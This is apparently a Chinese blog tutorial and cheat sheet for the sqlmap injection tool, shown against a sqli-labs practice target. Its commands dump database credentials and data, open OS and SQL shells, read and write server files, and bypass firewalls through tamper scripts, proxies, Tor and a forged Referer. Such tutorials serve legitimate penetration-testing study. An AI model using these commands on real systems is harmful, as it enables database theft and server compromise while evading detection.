sqlmap使用总结

sqlmap使用总结

    • sqlmap功能
    • 1. 基本用法
    • 2. 使用sqlmap探测waf并绕过
    • 3. python脚本绕过网站
    • 4. 伪造http referer头部
      • 探测风险等级
    • 5. 执行语句
    • 6. 从数据库读文件
    • 7. 上传文件到数据库

sqlmap功能

  1. 对http不同的字段 探测sql注入漏洞,获取数据库权限,获取数据
  2. 指定脚本(–temper)绕过防火墙
  3. 设置代理,隐藏网络,避免被检测
  4. getshell,获取系统权限,sql权限等。上传文件,下载文件
  5. 反弹msf的shell(–os-pwn)
  6. 网页爬虫,探测指纹信息

1. 基本用法

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包

sqlmap -r http.txt -p username  
	#指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" 
	--cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit"  
	#抓取其post提交的数据填入

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users      #查看数据库的所有用户

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords  #查看数据库用户名的密码

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles     
	#列出数据库所有管理员角色,仅适用于oracle数据库的时候

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --dbs        #爆出所有的数据库

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tables     #爆出所有的数据表

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --columns    #爆出数据库中所有的列

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --current-db 	#查看当前的数据库

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables 
	#爆出数据库security中的所有的表

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns 
	#爆出security数据库中users表中的所有的列

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  
	#爆出数据库security中的users表中的username列中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all 
	#爆出数据库security中的users表中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   
	#爆出数据库security中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  
	#爆出该数据库中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py  
	#指定脚本进行过滤,用/**/代替空格

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 
	#探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。
	当level=3时,会测试user-agent/referer注入。

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   
	#执行--os-shell命令,获取目标服务器权限	

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" 
	#读取目标服务器C盘下的test.txt文件

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  
	#将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     
	#指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL 
	Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T    
	#指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,
	默认情况下会测试所有的方式,当然,我们也可以直接手工指定。

支持的探测方式如下:

  B: Boolean-based blind SQL injection(布尔型注入)

  E: Error-based SQL injection(报错型注入)

  U: UNION query SQL injection(可联合查询注入)

  S: Stacked queries SQL injection(可多语句查询注入)

  T: Time-based blind SQL injection(基于时间延迟注入)



-v3                   #输出详细度  最大值5 会显示请求包和回复包

--threads 5           #指定线程数

--fresh-queries       #清除缓存

--flush-session       #清空会话,重构注入

--batch               #对所有的交互式的都是默认的

--random-agent        #任意的http头

--tamper base64encode            #对提交的数据进行base64编码

--referer http://www.baidu.com   #伪造referer字段

--keep-alive     
	保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. 
	sqlmap is going to retry the request(s) 保错的时候,使用这个参数

2. 使用sqlmap探测waf并绕过

--identify-waf   检测是否有WAF

#使用参数进行绕过

--random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候

--time-sec=3      使用长的延时来避免触发WAF的机制,这方式比较耗时

--hpp             使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上

--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过

--ignore-proxy    禁止使用系统的代理,直接连接进行注入

--flush-session   清空会话,重构注入

--hex 或者 --no-cast     进行字符码转换

--mobile          对移动端的服务器进行注入

--tor             匿名注入

3. python脚本绕过网站

有些时候网站会过滤掉各种字符,可以用tamper来解决(对付某些waf时也有成效

sqlmap  --tamper=space2comment.py  #用/**/代替空格
sqlmap  --tamper="space2comment.py,space2plus.py"  指定多个脚本进行过滤

在sqlmap的temper目录下
sqlmap使用总结_第1张图片

4. 伪造http referer头部

探测风险等级

--level=LEVEL       设置测试等级(1-5,默认为 1)
--risk=RISK         设置测试风险等级(1-3,默认为 1)

Sqlmap可以在请求中伪造HTTP中的referer,当探测等级为3或者3以上时,会尝试对referer注入,可以使用referer命令来欺骗,比如,我们伪造referer头为百度。

可以这样

referer  http://www.baidu.com

5. 执行语句

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell   #执行sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell    #执行--os-shell命令

在数据库为Mysql、PostgreSql或者SQL Server时,执行系统命令的前提条件

网站必须是root权限
攻击者需要知道网站的绝对路径
GPC为off,php主动转义的功能关闭

6. 从数据库读文件

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" 
#读取目标服务器C盘下的test.txt文件

7. 上传文件到数据库

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "c:/payload.txt"  
	#将本地的test.txt文件上传到目标服务器的C盘下,并且名字为payload.txt

你可能感兴趣的:(工具专区,sql,shell,数据库)